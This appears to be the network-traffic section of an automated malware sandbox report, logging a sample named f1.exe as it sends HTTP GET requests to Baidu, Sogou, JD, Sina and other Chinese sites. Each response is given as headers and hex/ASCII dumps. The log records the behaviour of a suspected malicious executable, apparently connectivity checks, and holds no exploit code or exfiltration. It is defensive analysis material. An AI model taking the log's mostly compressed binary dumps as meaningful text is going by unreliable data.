4	192.168.2.7	49705	103.235.47.188	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:16.135422945 CEST	219	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.baidu.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:17.050440073 CEST	1236	IN	HTTP/1.1 200 OK Bdpagetype: 1 Bdqid: 0x826115c100117463 Connection: keep-alive Content-Encoding: gzip Content-Type: text/html; charset=utf-8 Date: Sun, 04 Aug 2024 08:57:16 GMT P3p: CP=" OTI DSP COR IVA OUR IND COM " P3p: CP=" OTI DSP COR IVA OUR IND COM " Server: BWS/1.1 Set-Cookie: BAIDUID=D541D8434E5357B959ED429727D2FAF0:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: BIDUPSID=D541D8434E5357B959ED429727D2FAF0; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: PSTM=1722761836; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: BAIDUID=D541D8434E5357B96D0A10463356D00C:FG=1; max-age=31536000; expires=Mon, 04-Aug-25 08:57:16 GMT; domain=.baidu.com; path=/; version=1; comment=bd Set-Cookie: BDSVRTM=31; path=/ Set-Cookie: BD_HOME=1; path=/ Traceid: 172276183613201715309394814216345580643 X-Ua-Compatible: IE=Edge,chrome=1 X-Xss-Protection: 1;mode=block Transfer-Encoding: chunked Data Raw: 62 64 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 69 93 1c 4b 72 18 f8 1d bf a2 d8 6d 43 00 53 5d f7 dd 18 3c b2 4f a0 71 74 17 fa 42 a3 f9 66 db b2 b2 32 ab 0a 5d 57 57 56 55 1f 10 cc 48 69 47 94 56 cb cb 68 92 6c 45 ae 76 49 33 ad ed 9a ed 0e 29 5b 6a c5 25 45 f2 c7 68 de 9b 99 4f fb 17 d6 dd 23 22 33 ae ac a3 d1 20 25 33 bd 7a 00 aa 32 e3 f0 f0 f0 f0 f0 f0 2b 7e f4 2b db 07 5b c7 1f ea 3b 89 f6 b8 d7 fd e6 47 bf 92 4a 1d 1d 6f 1c 9f 1c 25 0e 5e a7 52 df fc 88 3d 6d 7b 4e f3 9b 1f f5 bc b1 03 c5 c6 c3 94 77 35 e9 4c 9f af 6c 0d fa 63 af 3f 4e Data Ascii: bddiKrmCS]<OqtBf2]WWVUHiGVhlEvI3)[j%EhO#"3 %3z2+~+[;GJo%^R=m{Nw5Llc?N
Aug 4, 2024 10:57:17.050579071 CEST	1236	IN	Data Raw: 1d df 0e bd 95 84 cb 7e 3d 5f 19 7b 37 e3 0c 56 7c e6 b6 9d 51 e0 8d 9f 4f c6 7e aa ba 62 69 e1 2c 75 b2 91 da 1a f4 86 ce b8 d3 e8 ca 8d ec ed 3c f7 9a 2d 6f cd 6d 8f 06 3d ef 79 4e d4 0e 7b 71 ba d7 ce 6d b0 92 e8 3b f0 7a 65 e4 f9 de 68 e4 8d Data Ascii: ~=_{7V\|QO~bi,u<-om=yN{qm;zehD1tz^t#US6u/'Ow?g?7_???wo/~/g?~_?
Aug 4, 2024 10:57:17.050590992 CEST	448	IN	Data Raw: ec 47 a5 5d 36 42 60 78 96 c9 be 6e 77 c6 5e 0a 48 d1 f5 80 47 5c 8f 9c e1 33 6d 59 7f 8e 05 29 01 f8 e6 cb 2b 07 e8 7b c6 57 0f 7d e7 58 ad 00 56 11 b3 b0 f8 12 d9 67 c0 2f 60 c7 75 ba 80 9c 4e ab bf de 03 b6 d1 f5 66 b4 8f 2b e4 13 87 9e 10 0c Data Ascii: G]6B`xnw^HG\3mY)+{W}XVg/`uNf+4Yfw*8,d<0Or~?3K})$Sri$`,I~bb!SQd~(]Q<2V#P6t"b<"99c)Fqg/>)qEwo
Aug 4, 2024 10:57:17.050878048 CEST	1236	IN	Data Raw: 62 eb 6d dc 66 8c c2 61 33 08 c1 d0 ef 79 fd c9 5a 7a 12 78 23 fc f6 c9 94 48 9b 39 fc 58 64 1c c6 44 72 59 c1 58 0a b8 29 dd a5 48 90 5e 2f 64 f3 36 61 15 d9 e8 2a 6f 71 86 b0 aa 14 8b 11 56 95 32 56 61 55 2a 11 8d 55 df 6d 2c 2c c0 f7 a3 e2 09 Data Ascii: bmfa3yZzx#H9XdDrYX)H^/d6aoqV2VaUUm,,'BN"y`{bGJ\|$&pH.L6F`"H`-daHK":rKp6h}YPjv5[sr)O_t]"KaTp8]yI"$YxLg@v2^PPxeX
Aug 4, 2024 10:57:17.051171064 CEST	1236	IN	Data Raw: 79 b4 73 87 da 3e 4e 50 f0 64 26 66 51 1e 90 ed 03 f8 5b c3 e5 f2 90 12 bd 08 89 a1 5a c2 8f 29 62 12 0b c9 15 0a 6b e2 4f ba 04 2a 18 45 b8 be 17 9a c0 9a 08 94 27 f6 ee f2 6e 4c cf a5 dc 5a 2e 9b 5f cb 97 4a 6b e9 e2 c3 74 cc 96 96 e8 7a b7 50 Data Ascii: ys>NPd&fQ[Z)bkO*E'nLZ._JktzP/"T.od[R:#H^$p9sI\MpATN'01:9!(XY8Q(nBBQ3=\|Rx_@Rb(jwC4jel~]_ox
Aug 4, 2024 10:57:17.051203012 CEST	1236	IN	Data Raw: 5a 3e 77 3d 4a 13 09 cb 62 2a 94 12 74 f0 49 77 b1 7e 94 06 63 76 a4 6a 65 d8 4b 13 21 87 5a 4a e6 60 ff 28 cd 5c 84 35 e5 25 34 0e 31 6e 83 11 47 e4 08 c2 2d 54 5d 6c 88 bf ae d3 80 7d 57 b3 38 3d 4a bb 5d 90 5e fd ce cd ba e3 03 02 a0 19 76 84 Data Ascii: Z>w=Jb*tIw~cvjeK!ZJ`(\5%41nG-T]l}W8=J]^vm>X247()m^4nHuP5H_RX7xuC\|o&H:8#uZ(c`O7?/~_Tr[ntJ`]: [ @
Aug 4, 2024 10:57:17.051769972 CEST	1236	IN	Data Raw: 65 4b 03 36 02 e2 be a6 88 25 c7 23 70 71 19 59 94 b4 8b 01 1c 3d a7 d3 d7 fb 07 d1 1f a2 d7 b4 a7 4c 4c c6 7c 09 86 b9 16 e9 57 f1 9c fb 2f 26 a7 81 05 2b c4 45 70 35 b0 2d 8c b6 38 38 b9 c1 c0 12 4c 03 22 9d 2c 74 de a2 e5 2f 90 ab 36 25 7d 0c Data Ascii: eK6%#pqY=LL\|W/&+Ep5-88L",t/6%}(A-L0!M/0CE!UB/{p}9FIjdvLiE%0#$)Y80Q+ \|"f5T.)L14GuH2
Aug 4, 2024 10:57:17.051781893 CEST	1236	IN	Data Raw: f4 12 21 21 85 44 a7 97 88 88 8a ec 57 16 48 25 02 13 54 ae 37 92 8b 88 2d 0e a9 16 c2 33 5a 21 22 34 9e 12 41 1a 4f 89 26 f5 a7 d6 87 44 b4 7a 49 22 60 fd 21 11 b3 fe 90 08 5b 7f 48 44 ae 3f 24 82 d7 1f d6 54 92 8c 23 87 58 e2 a6 44 61 a1 2e 4c Data Ascii: !!DWH%T7-3Z!"4AO&DzI"`![HD?$T#XDa.LqI9TXM^ ^-AiI0ary[9ZVrk9-TrARddv1Sh<j;Jzu>z]7`e51Dae
Aug 4, 2024 10:57:17.051791906 CEST	1236	IN	Data Raw: b5 8f 65 c2 17 40 31 b8 92 22 3e 47 71 12 92 46 d7 e4 23 3a 81 e9 fe 8a 0f bb a5 e8 90 ab 31 c7 92 90 21 61 80 63 23 3a 3b 99 c5 88 01 22 c3 d3 fc b1 42 4c 72 b9 59 c2 2d eb 00 f7 23 75 aa 38 47 c0 b5 27 03 6b 36 60 70 43 11 de 37 a3 53 96 6f 7b Data Ascii: e@1">GqF#:1!ac#:;"BLrY-#u8G'k6`pC7So{q q)W ` Z~'@dM>@[GP3lIxhsX/VZje`Jjp>xvT\|_/t"'wBEje>5rhp&.5i8
Aug 4, 2024 10:57:17.052556038 CEST	1236	IN	Data Raw: b9 8d 8a 8f 89 a7 d8 50 53 c3 49 a3 db 71 2d 05 25 4b 2a cd 1d 3a 62 60 88 b5 a9 1b f6 b9 f7 12 15 83 4c 22 bd 21 1c cb 2d 9b 8f 9b cf 4a 1d 37 f1 aa 88 91 ad 60 a5 90 2b 30 3e 49 2d 06 8e 0f 19 d3 8c f6 0a b5 46 a1 cc 7c 6a a8 58 0f 2e 3b 17 73 Data Ascii: PSIq-%K:b`L"!-J7`+0>I-F\|jX.;sf`<\|"tD@C9?f^`BK7Wq9p!GHxdksAnqoXW6n\|TYp-\2pSo6@yR369gr
Aug 4, 2024 10:57:17.055759907 CEST	1236	IN	Data Raw: f6 ed d9 c5 83 75 db 2c 35 b2 45 d7 85 48 de 74 ab 03 29 7d 60 54 e0 50 01 10 81 ff 72 07 38 20 c8 77 e8 4a 6f 70 90 10 af a9 22 a6 51 48 a4 72 e1 71 90 6a 83 89 6b 3a 82 7f 27 a0 ea ee 36 95 b8 e0 a8 6a 29 0b 72 5c 58 15 52 b0 b3 83 42 85 f2 ec Data Ascii: u,5EHt)}`TPr8 wJop"QHrqjk:'6j)r\XRB,Ds]}7D'S p~cJPD 5[);WU)kr44@~bNT2rO*Q3Tp\@X<N<0dpJO130}\|4RF2>R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49706	119.28.109.132	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:16.189941883 CEST	219	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sogou.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:17.300723076 CEST	564	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sun, 04 Aug 2024 08:57:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: ABTEST=0\|1722761837\|v17; expires=Tue, 03-Sep-24 08:57:17 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://www.sogou.com/ UUID: 56ca3459-89c4-43fb-81c7-babaf5b63b02 Data Raw: 38 61 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 8a<html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49707	163.171.132.119	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:16.282150984 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.jd.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:16.907593966 CEST	342	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 04 Aug 2024 08:57:16 GMT Content-Length: 0 Connection: keep-alive Server: Cdn Cache Server V2.0 Location: https://corporate.jd.com/home X-Via: 1.0 PSdgflkfFRA2po75:8 (Cdn Cache Server V2.0) X-Ws-Request-Id: 66af426c_PSdgflkfFRA2po75_16195-61435 Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49708	104.192.110.226	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:16.297247887 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.so.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:17.570250988 CEST	425	IN	HTTP/1.1 302 Moved Temporarily Server: openresty/1.15.8.3 Date: Sun, 04 Aug 2024 08:57:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://www.so.com/ Set-Cookie: QiHooGUID=; Max-Age=63072000; Domain=so.com; Path=/ Data Raw: 38 65 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 8e<html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49709	163.181.42.239	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:16.340410948 CEST	221	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sina.com.cn Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:17.254915953 CEST	581	IN	HTTP/1.1 302 Found Server: Tengine Date: Sun, 04 Aug 2024 08:57:17 GMT Content-Type: text/html Content-Length: 242 Connection: keep-alive Location: https://www.sina.com.cn/ X-DSL-CHECK: 5 X-Via-CDN: f=aliyun,s=ens-cache9.sg27,c=8.46.123.33; Via: ens-cache9.sg27[,0] Timing-Allow-Origin: * EagleId: a3b52a9d17227618370954047e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 72 65 73 69 64 65 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 64 65 72 20 61 20 64 69 66 66 65 72 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>302 Found</h1><p>The requested resource resides temporarily under a different URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49710	49.51.130.237	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:16.526732922 CEST	214	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: soso.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:17.175937891 CEST	347	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 04 Aug 2024 08:57:17 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://soso.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49711	163.181.199.200	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:16.554538012 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.1688.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:17.467940092 CEST	466	IN	HTTP/1.1 302 Found Server: Tengine Date: Sun, 04 Aug 2024 08:57:17 GMT Content-Type: text/html Content-Length: 242 Connection: keep-alive Location: https://www.1688.com/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 72 65 73 69 64 65 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 64 65 72 20 61 20 64 69 66 66 65 72 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>302 Found</h1><p>The requested resource resides temporarily under a different URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49712	103.235.46.98	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:16.611707926 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.hao123.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:17.849683046 CEST	1236	IN	HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html;charset=UTF-8 Cxy_all: +0045393f34d6163b758fba41075be541 Date: Sun, 04 Aug 2024 08:57:17 GMT Lfy: gzbh.27014 P3p: CP=" OTI DSP COR IVA OUR IND COM " Server: nginx/1.9.12 Set-Cookie: s_ht_pageid=16; path=/; domain=.hao123.com Set-Cookie: ft=1; expires=Sun, 04-Aug-2024 15:59:59 GMT Set-Cookie: v_pg=normal Set-Cookie: hz=0; path=/; domain=www.hao123.com Set-Cookie: BAIDUID=11233A8919900A7BA970EF3A06DE6711:FG=1; expires=Mon, 04-Aug-25 08:57:17 GMT; max-age=31536000; path=/; domain=.hao123.com; version=1 Tracecode: 34373412150522756874080416 Vary: Accept-Encoding Transfer-Encoding: chunked Data Raw: 32 65 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 6b 97 23 c9 75 20 f6 7d 7e 05 d8 ed 61 77 0d 91 59 48 bc 81 62 53 ec 27 39 96 86 1a 0f 87 12 b9 e4 a8 4e 02 48 54 61 1a 05 40 78 74 75 b3 a6 ce 91 f7 ac 1e d6 ca d6 ae bd bb 5e 5b f6 d9 2f f6 59 ed 9e b3 92 65 cb 7b b4 96 b8 fe 31 ab 19 52 9f fc 17 7c 1f 11 91 37 1e 99 48 54 75 f7 70 49 b1 38 33 00 32 32 e2 c6 8d 1b f7 1d 37 be fe 95 27 bf fe f8 e3 1f 7c f8 b4 76 be bd 98 7f e3 eb f8 ef da 78 9e 6e 36 0f ee dc 81 af 59 3a f9 c6 d7 17 cb cd 78 3d 5b 6d bf f1 f5 8b 6c 9b 42 cb ed 2a ca 7e 7b 37 7b f1 e0 ce 3a 9b ae b3 cd f9 9d da 78 b9 d8 66 8b ed 83 3b 8d 93 da f7 3e fa b5 07 f7 8e 7f e5 f4 54 bf 78 7a 1a 3d 48 ee dd a9 1d 7f e3 eb c7 79 67 db d9 76 9e 7d e3 3c 5d 26 cd d6 e9 df fe d5 1f fe f4 27 ff f4 6f ff fa bf fb d9 ff fb 3f fd dd ef ff d1 e7 7f f3 3b 9f ff eb 7f fc f5 63 6e f3 f5 51 ba c9 6a db 74 7d 96 c1 08 a7 a3 79 ba 78 0e d0 11 34 e3 f3 74 bd c1 9f 77 db 69 d4 bf 03 43 b8 40 7e 3f fa de c3 e8 f1 f2 62 95 6e 67 a3 79 96 83 fa fe d3 07 d9 e4 [TRUNCATED] Data Ascii: 2eek#u }~awYHbS'9NHTa@xtu^[/Ye{1R\|7HTupI83227'\|vxn6Y:x=[mlB*~{7{:xf;>Txz=Hygv}<]&'o?;cnQjt}yx4twiC@~?bngy,A\(Mvfz6BLuj\|_^:?3Yl&5MdggxY^;>a<{u\O6bdmw>?9['~_T7/?z?ofIddQ/_/
Aug 4, 2024 10:57:17.849698067 CEST	194	IN	Data Raw: c7 7f f8 b3 ff fb 1f 7d f1 ff fc 93 9f fe cf ff e8 6f ff ea df 7d f1 2f 7e 5f 82 fa 9f 7e e7 1f 42 83 2f fe c7 7f ff c5 3f fb f7 9f ff e4 9f 7f fe 93 bf f8 d9 bf fe bd ff f4 3b ff f5 df fd ab ff eb 6f ff c3 3f 81 0f 9f ff 1f 7f fc b3 3f ff 4b f8 Data Ascii: }o}/~_~B/?;o??K_?w{?T}{ogo~O\|'??~#2mxSVr,/
Aug 4, 2024 10:57:17.850220919 CEST	1236	IN	Data Raw: 33 64 31 63 0d 0a 6f 3f fc f5 07 f9 c7 cf 3e bb ba 3e c9 bf c6 b8 57 37 b5 07 b5 69 3a df 64 de 83 8f d7 e9 82 9e ee 16 63 a4 ed fb bb f5 fc e8 6a 9d 6d 77 eb 45 0d 3e 5f 9f 7c fd 58 6f fd cd f6 15 ec 9d ed ab 15 6c 8d 6d f6 72 7b 3c de 6c 60 c3 Data Ascii: 3d1co?>>W7i:dcjmwE>_\|Xolmr{<l`f=~p,M6[8c$xz3`lI?6[M\|1[>M_xv#2Os}GO?Oxi3}5Bxm_f!v\{[
Aug 4, 2024 10:57:17.850234032 CEST	1236	IN	Data Raw: 85 4e c0 fe 05 3b 15 29 45 bf f7 1e 30 99 8b b9 b5 5a 1b e0 37 d1 06 2d c3 13 c4 0c 68 af 44 4e 49 9c 74 4e a2 8b 4d 44 74 83 ab 18 a5 93 4f 77 1b 78 82 c4 01 54 37 7a 3e db 86 9f 5e e3 9e 32 fb e1 3a c5 d5 9b 67 f5 74 33 9b 64 b0 85 96 5b 40 35 Data Ascii: N;)E0Z7-hDNItNMDtOwxT7z>^2:gt3d[@5*E:^p4_}lf'j^vQk\Oggp>Y5~AIvc\|+gNYtf8YMk0-],;P(?Gp1/qFal5\>lJS@
Aug 4, 2024 10:57:17.850245953 CEST	448	IN	Data Raw: 06 2c ac ec 3e 32 e9 23 a3 9b 16 3d 26 c3 89 7a f0 5f 05 9b a1 e8 d1 b2 e8 89 7a 01 7c f5 f7 c1 63 92 82 e3 1e 50 16 83 ba 73 d7 40 76 74 a2 1a a1 90 00 bf f2 93 ef bf 7f 01 4e 16 f2 28 a1 72 11 7f 30 1b af 97 9b e5 74 1b 3f 02 4b 63 4c 4f ef 9b Data Ascii: ,>2#=&z_z\|cPs@vtN(r0t?KcLO$e:~lR{CYc v6SOt^:Y.!?~uG@TVi'3W;li\`0*Z8BHW:vFM#!Aw{?MJP
Aug 4, 2024 10:57:17.850852966 CEST	1236	IN	Data Raw: 36 10 93 64 29 ca ce 37 f0 d5 a0 ba e1 ef 41 b5 d7 70 62 bc 75 50 c4 09 87 c1 01 f3 89 d9 69 a0 19 45 e3 e1 c3 5e af a1 f6 25 88 63 39 c0 5d 7e 78 48 e7 e0 f3 de 6c 15 b3 51 f3 25 e6 24 08 22 b0 cb 68 21 19 dd 4a 97 d1 d6 3b 41 57 f1 75 d0 cc 80 Data Ascii: 6d)7ApbuPiE^%c9]~xHlQ%$"h!J;AWu) $-'3CLf\| vbb@,"n8?`mzZ3`#\C5&Zq+%(b6nQ1(QJMsXZ\|=Hn$\|2[N{sew\|"z\|
Aug 4, 2024 10:57:17.850866079 CEST	1236	IN	Data Raw: 95 c0 ee 13 dc 2a 11 4e 0c 87 5b 91 1a ea ed 63 97 61 e0 08 65 dc 02 9e 17 b2 0a 08 59 d8 9b 3b a6 0d 92 5e 42 62 37 84 25 78 e6 52 4f 7c 06 8f 1f f2 53 e7 4d 1b 79 23 c8 a0 7b fe 89 ea 40 46 84 21 dd c6 7e 31 02 76 f9 00 a2 3f 8b f0 7a 89 c7 ca Data Ascii: N[caeY;^Bb7%xRO\|SMy#{@F!~1v?zXn4z-T;)TcM!y4N} `[N8p/5B`+&+fI90^vZt+kK0?.nx\QcIh/,f
Aug 4, 2024 10:57:17.851016045 CEST	1236	IN	Data Raw: ea fc 70 ef aa 18 83 53 9f c2 3a 31 67 1d 11 40 77 44 41 9d 38 37 12 2f 07 49 8b 8f 87 11 07 17 b5 43 f1 9c 82 5d 90 11 c7 74 ce 44 f8 25 7c 04 8a e0 30 d1 06 aa f1 d8 55 8e bc ea 42 81 53 28 28 e9 54 52 ab 38 6e 29 ab 36 00 24 d6 b1 8e 06 d4 4b Data Ascii: pS:1g@wDA87/IC]tD%\|0UBS((TR8n)6$KT'f4N<9*[Oq5oG#0Zc#2B4B33Fg:s-<R,JDeH:2PGF-0\|S{Hyk)A
Aug 4, 2024 10:57:17.851701021 CEST	1236	IN	Data Raw: 0a aa 51 62 71 1d 2a 55 64 97 09 0b b5 e6 32 48 cb 15 9c 09 0a bc a7 55 3a 17 4a 18 46 be 48 1d 57 1c d0 df e3 79 95 4a ce 9d 69 a1 b8 63 09 de ce 45 78 8b 64 ae bf 83 b2 0c 32 93 f3 82 77 f8 9e 16 40 aa aa 17 ed bc dc 75 43 45 b1 45 a1 14 54 13 Data Ascii: Qbq*Ud2HU:JFHWyJicExd2w@uCEETYE=~.DX[l},%JZDH TVUoUNCRcg>15EFr`k_6yMd\|o^'ET1cW18OTn[]>t[W'X
Aug 4, 2024 10:57:17.851715088 CEST	1236	IN	Data Raw: ed 44 40 21 4d 93 85 66 e6 aa 38 ad 72 75 91 2f 2b 0c 35 fb 48 78 41 7b c8 a2 05 92 6c 2e 7d fa be 91 a2 9b c5 38 90 93 17 4b 77 41 1b c2 1d bc db 68 7c 3e 9b 9b a5 57 d6 80 6c 89 31 11 bd 27 c0 80 d7 bc 04 43 47 1e 68 3c a2 92 aa e2 8e 25 be eb Data Ascii: D@!Mf8ru/+5HxA{l.}8KwAh\|>Wl1'CGh<%.7WdGFb<z9Pv)59v#}Is.6`(uPu5CN8r&#:9_WNO7+:+dLGxjCk}n`gaHoc"-R>!AHA\c
